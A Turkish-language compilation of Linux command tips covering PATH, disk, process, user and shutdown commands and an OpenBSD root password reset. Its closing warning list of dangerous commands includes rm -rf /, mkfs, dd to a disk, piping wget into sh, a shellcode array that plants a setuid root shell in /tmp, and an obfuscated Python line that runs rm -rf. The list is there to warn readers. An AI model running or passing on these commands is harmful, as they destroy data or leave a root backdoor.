Linux İpuçları

İlk ipucumuz kullandığınız çevresek değişkenlerle ilgili. Bazen sevdiğiniz ya da ilgi duyduğunuz programı internette indirip, çalıştırmaya çalıştığınızda "command not found" ya da komut bulunamadı hatası verebilir. Bu durumda ilk yapmanız gereken şu komutu komut satırına yazmaktır:

echo $PATH

Bu komutun çıktısı yaklaşık olarak şöyle olacaktır:

/sbin:/usr/sbin:/bin:/usr/bin


Şimdi çalıştıracağımız programın nerede kurulu olduğunu görmek için şunu yazalım:

whereis Programimiz

Bize vereceği çıktı şöyle bişey olacak:

Programimiz: /usr/local/bin/utilityName

Şimdi programımızın yerini öğrendiğimize göre onu kullandığımız çevresel değişkenlerimize katabiliriz:

export PATH=$PATH:/usr/local/bin

Sistemde var olan modulleri sıralama modprobe -l
Netstat ile aktif portlar netstat -tlp
X Serverler arasında geçiş Ctrl+Alt+F3
Hardisk bölümlerini görme sfdisk -l
İşlemci bilgilerini alma cat /proc/cpuinfo

Servera Dahil Olan Makinaalra Oto İp Atamak İçin. ;
Bir linux sunucuda tek bir dosya ile birden fazla ip ekleyebilirsiniz bunun için
DOSYA: ifcfg-eth0-range0 bir dosya yaratın

IPADDR_START=10.0.0.1 (başlangıç ip)
IPADDR_END=10.0.0.50 (bitiş ip)
CLONE_NUM=0 (aynen kalcak)

ve service network restart (redhat için)
Suse için /etc/init.d/network restart

bazen umount komutu ile sürücüleri unmount etmeye çalıştığınızda kullanımda olduğu gerekçesiyle sistem tarafından reddedilir. böyle bir durumda sürücüyü umount komutunun -l prametresini kullanarak zorla unmonut etebilirsiniz, ancak bu eğer onu kullanan bir süreç varsa hata vermesine veya sürücüye o anda yazılmakta olan bir bilgi varsa onun yok olmasına sebep olabilir. en iyi yöntem;

fuser /drive/mount/point

komutuyla bu dizini hangi süreçlerin kullandığını anlamak, bitmesini beklemek veya süreçleri verikaybına sebep olmayacak şekilde sonlandırarak sürücünüzü unmount edebilirsiniz. Eğer bu süreçler bir şekilde takılmış kalmışsa ve çok sayıda ise hepsini birden öldürmek için;

fuser -km /drive/mount/point

komutunu kullanabilirsiniz.

Hangi klasörün boyutu en büyük?
du -S | sort -n

Sistemdeki büyük dosyalar hangileri?
ls -l | sort +4n

Belleği en fazla kullanan program hangisi?

ps -aux | sort +4n

Linux’ta Num Lock’un otomatik açılma özelliğini kapatma !

Yöntem 1:Konsola aşağıdaki komutları yazın

# /etc/init.d/numlock stop
# chkconfig numlock off

Yöntem 2: /etc/rc.d/rc.local dosyasının sonuna, şu eklemeyi yapın

for t in 1 2 3 4 5 6 7 8
do
setleds +num < /dev/tty$t>
/dev/null
done

Dosyaları parçalara bölmek için kullanacağımız komut --> split
Mesela bir 5480 kb lık mp3 dosyamız olsun.(vatan.mp3).Bu dosyamızı 1 megabyt’lık parçalara bölelim.

b : byte
1 : dosyamız 1 megabyte lık dosyalara böler..yada (2-3-4) dosya büyüklüğüne göre.
m: megabyte

örnek : splıt -b1m vatan.mp3 vatan.mp3

Işlem sonunda Dosyalarımız vatan.mp3as vatan.mp3ab....şeklinde parçalanacaktır.

Bu dosyayı tekrar birleştirmek içinse --> cat

örnek

cat vatan.mp3a* > vatan.mp3

Program Ekle Kaldırdan program Ekleyemiyor veya Güncelleme yapamıyorsanız uçbirimden yazacagınız kod: 'sudo dpkg --configure -a'

1) History
Girdikten cikincaya kadar ki zaman icinde konsoldan girilen herseyi silmek icin...

sh $ history -c

2) Listen
sistem de dinleme de olan surecleri gormek icin

sh $ netstat -vatnp (tcp surecleri gosterir)
sh $ netstat -vaunp (udp surecleri gosterir)

3) Kimim ben?
Haklarina sahip oldugunuz kullanicinin kim oldugunu ogrenmek icin

sh $ whoami
sh $ w

4) Shell degistirme
Kullaniciya ait bir shell degistirmek icin
sh # chsh -s /bin/bash kullanici

Kendi kullandiginiz shell degistirmek icin
sh # chsh -s /bin/bash

5) Profile goruntuleme
Kullanicinin sahip oldugu hesaba bagli degiskenleri gormek icin
sh # env

Degiskenlerin tanimini degistirmek veya yeni degisken eklemek icin
sh # export TERM=linux

Linux bir PC yi, belirli bir süreden sonra kapatmak icin, asagidaki komutu kullanabilirsiniz:


Kod:

shutdown -h +DAKIKA


yani 2 saat sonra kapanmasi icin,

60 x 2 = 120 dakika

O halde kullanmaniz gereken komut

shutdown -h +120

Bu komut sadece root olarak calisir ve 2 saat sonra bilgisayar otomatikman kendiliginden kapanır.

İp adresinizi ögrenmek icin konsolda ;

Yerel ip icin ;

hostname -i

İnternet Cikis ip’si icin ;

wget -q -O - http://checkip.dyndns.org | grep Address| sed -e ’s/.*ss: //’ | sed -e ’s/<.*//’

shutdown -h now
Sistemi durdurur. ATX sistemlerde ayrıca makinayı kapatır.
halt
shutdown -h now ile aynıdır. Sistemi durdurur.
reboot
shutdown -r now ile aynıdır. Sistemi yeniden başlatır.

rm -r dosya ...
Dosya ve dizinleri ve dizinlerin içindeki dizinleri ardarda siler. Root olarak kullanırken dikkat edin, çünkü herşeyi silebilirsiniz!.

uptime
Makinanın ne kadar süredir açık olduğu bilgisini verir.

df -h
Bağlı sabit disk bölümlerinin doluluk oranlarını gösterir.

En son degisen dosyalari bulma

Bir anda sisteme birseyler oldu, ne oldugunu anlamadan en son degisen dosyalari bulmaniz gerekti..

find / -ctime 1
1 saat içerisinde degismis dosyalari bulur

ls -al --sort=time | head -n 10
ise en son degisen ilk on dosyayi listeler.

2.Komut tavsiye edilir 1.baya bir sonuc cikarabilir.

Dosya Büyüklügüne Göre Arama yapmak ;

Buyuklugu 100 MB olan dosyalari listelemek icin;

find / -size 100000000c -print

Buyuklugu 100 MB den fazla olan dosyalari listelemek icin;

find / -size +100000000c -print


Sistemdeki Kullanicilari Görüntüleme

Sistemde kimlerin giriş olduğunu görmek için users komutu kullanılır.

$ users

ChayLaq ChayLaq ChayLaq


users komutu ile sadece giriş yapan kullanıcılar görülebilir. Biraz daha ayrıntı elde etmek için
ise who kullanılabilir.

$ who

ChayLaq :0 2007-11-22 23:27
ChayLaq pts/0 2007-11-22 23:27
ChayLaq pts/3 2007-11-23 08:58

Daha fazla ayrıntı için ise w kullanılabilir.

$ w

ChayLaq :0 23:27 ?xdm? 4:14m 0.02s /bin/sh /usr/kde/3.5/bin/startk

ChayLaq pts/0 23:27 9:48m 0.00s 6.44s kded [kdeinit] --new-startup

ChayLaq pts/3 08:58 0.00s 0.07s 0.02s /bin/bash

pwd : Bulunduğunuz dizinin ismini verir

whoami : Sisteme giriş yaparken yazdığınız kullanıcı isminizi verir

id [kullanıcı_ismi] : Kullanıcının kullanıcı kimliği, birincil grup kimliği ve üyesi olduğu grupları gösterir

last : Sisteme en son giriş yapmış kullanıcıların bugünden geriye doğru listesi

ps : Kullanıcının kullandığı uçbirimde çalıştırmakta olduğu komutların ve süreçlerin listesi.

lsmod : bütün sürücü modüllerini listeler (bellekte yüklü olanları)

uname -s -n -r -v -m -p -i -o : Sistemle alakalı detaylı bilgi

Shift + İnsert : yapıştırma işlemini klavyeden yapar.

cd .. : Bir üst dizine çıkar

exit : Sistemden çıkmanızı sağlar.

reset : Konsol bir şekilde saçma sapan karakterler basıyorsa (genelde çalıştırılabilir bir dosyayı ekrana çıktıladığınızda olur) düzeltmeye yarar.

tty : Bu komutu yazdığınız uçbirimin aygıt dosyasının ismini verir.

free : Sistemdeki kullanilan ve bos olan bellek miktarini gösterir.

groups [kullanici] : Verilen “kullanici”nin ait oldugu guruplari listeler. Sayet bir kullanici belirtilmedi ise, o anda komutu calistiran aktif kullanici girdi olarak alinir.

logname : Sisteme giris yaptiginiz kullanici adini verir.

man [komut] : Sistem komutlari ve fonkisyonlari ile ilgili kilavuz sayfalara bu komut sayesinde ulasabilirsiniz. “komut” parametresi bir programa, uygulamaya ya da fonksiyona karsilik gelmelidir.

Mesela : man cat dediğiniz zaman çıktısı şu şekilde olacak :

NAME
cat - concatenate files and print on the standard output

SYNOPSIS
cat [OPTION] [FILE]...

DESCRIPTION
Concatenate FILE(s), or standard input, to standard output.

-A, --show-all
equivalent to -vET

-b, --number-nonblank
number nonblank output lines

-e equivalent to -vE

-E, --show-ends
display $ at end of each line

-n, --number

OpenBSD’de root parolasını sıfırlamak

Sistem açılırken boot> satırına boot -s yazarak tek kullanıcı moda geçilir.
boot> boot -s
Ardından sistem size sh kabuğunun yolu(path) sorulacak;
Enter pathname of shell or RETURN for sh: /bin/sh
Açılan sistem, read-only açıldığı için read-write moduna çevirmemiz lazım.
mount -uw /
Ardından passwd komutunu yazarak root parolası değiştirebiliriz.

Kullanicinin gercek ismini ve calistirdigi komutu ayni anda gostermeye yarar(ozellikle adminler icin):
(bash dan başka bişeyde çalışmıyor maalesef)
___

join -1 3 -2 2 -t ’#’ <(finger | cut --output-delimiter=’#’
-b1-8,11-31,32-37,60-|sed -e ’s/ */ /g’|sort -t ’#’ -k 3) <(w -s -h| cut
--output-delimiter=’#’ -b 1-9,10-15,43-|sed -e ’s/ */ /g’|sort -t ’#’ -k 2)
|awk -F ’#’ ’{ printf("%-9s %-22.22s %-27.27s %-27.27s\\n", $2, $3, $6, $4);}’ |sort

___

buda daha genel ama amelece bir çözüm

================= ident.sh ============================================
w -s -h > .tmp.ident.sh
finger > .tmp.finger.ident2.sh
tail -n +2 < .tmp.finger.ident2.sh > .tmp.finger.ident.sh

while read f
do
PTS=$(echo "$f" | cut -b32-37)
ID=$(echo "$f" | cut -b-
NAME=$(echo "$f" | cut -b11-30)
WHERE=$(echo "$f" | cut -b60-87)
DOES=$(grep "$PTS " .tmp.ident.sh| cut -b43-)
printf "%s %s %-27.27s %s\\n" "$ID" "$NAME" "$WHERE" "$DOES"
done < .tmp.finger.ident.sh
rm -f .tmp.ident.sh .tmp.finger.ident2.sh .tmp.finger.ident.sh

kullanırken dikkat edilmesi gereken komutlar.
kısacası tehlikeli komutlar

Dosyalari siliyor:
rm -rf /
rm -rf .
rm -rf *
rm -r .*
rm -r .[^.]*

Dosya sistemini siliyor,yerine bos koyuyor:
mkfs
mkfs.ext3
mkfs.anything

Raw block edici:
any_command > /dev/sda
dd if=something of=/dev/sda


Bunlari hic bir zaman kullanmayin:
wget http://some_place/some_file
sh ./some_file


wget http://some_place/some_file -O- | sh



char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xe c\\x64\\x68"
"\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x6 8\\x8d\\x99"
"\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf 7\\x16\\xf7"
"\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc 4\\x74\\x56"
"\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xc d\\x80\\x31"
"\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2 f\\x62\\x69"
"\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Sistemi siliyor:
python -c ’import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))’


Linux Dizin Yapısını Bir Resimde Görüntüleyin...

http://linuxmasasi.com/userfiles/ima..._structure.jpg

Özellikle yeni başlayan arkadaşlar için iyi olacak bir resmi sizlerle paylaşmak istiyorum. Tüm Linux dizinlerini bu resimde görebilir ve bir yardımcı olarak her zaman bir köşede saklayabilirsiniz.

kaynak:
www.linuxmasasi.com

Makinenin adini degistirmek icin

sudo /bin/hostname yeniisim

Konsol uzerindeki durumu;

ilk hali ac@Acom:~$

sudo /bin/hostname slmn

son hali ac@slmn:~$



Herkese mount yetkisi vermek
Normalde mount edebilmek için root kullanıcısı olmalısınız. Ancak cd-rom ya da usb için için normal kullanıcılara mount yetkisi verebilirsiniz. Tek yapmanız gereken /etc/fstab dosyasını aşağıdaki gibi düzenlemek :
# dev mount point fs type flags
/dev/sda1 /mnt/usb auto noauto,user 0 0
?> Bu satır sda1’in(scsi diskin ilk bölümü, usb diskler de scsi diskler gibi algılanır) açılışta otomatik olarak mount edilmeyeceği ve her kullanıcıya mount/unmount etme yetkisinin verildiği anlamına geliyor. Doysa sistemi tipi de otomatik olarak veriliyor. Böylelikle hani dosya sistemi kullanıyorsanız mount işlemi bunu otomatik olarak algılıyor.


Alt dizinler ile ls komutu:

ls -l | grep ^d

surekli kullanmak icin .bashrc ye eklenmeli.

alias lsd=’ls -l | grep ^d’

Örnek:

ruyy@ubuntu:~$ lsd
drwxr-xr-x 2 ruyy ruyy 4096 2009-04-01 14:05 Belgeler
drwxr-xr-x 2 ruyy ruyy 4096 2009-04-10 21:43 Desktop
drwxr-xr-x 2 ruyy ruyy 4096 2009-04-01 14:05 Geçici
drwxr-xr-x 2 ruyy ruyy 4096 2009-04-01 14:05 Genel
drwxr-xr-x 2 ruyy ruyy 4096 2009-04-10 09:04 Masaüstü


history komutu ile karsimiza cikan komutlara tarih ve saat eklemek icin yapmaniz gereken.
home dizininde bulunan .bashrc dosyasina asagidaki satirlari eklemeniz yeterli;
export HISTTIMEFORMAT="%h/%d - %H:%M:%S "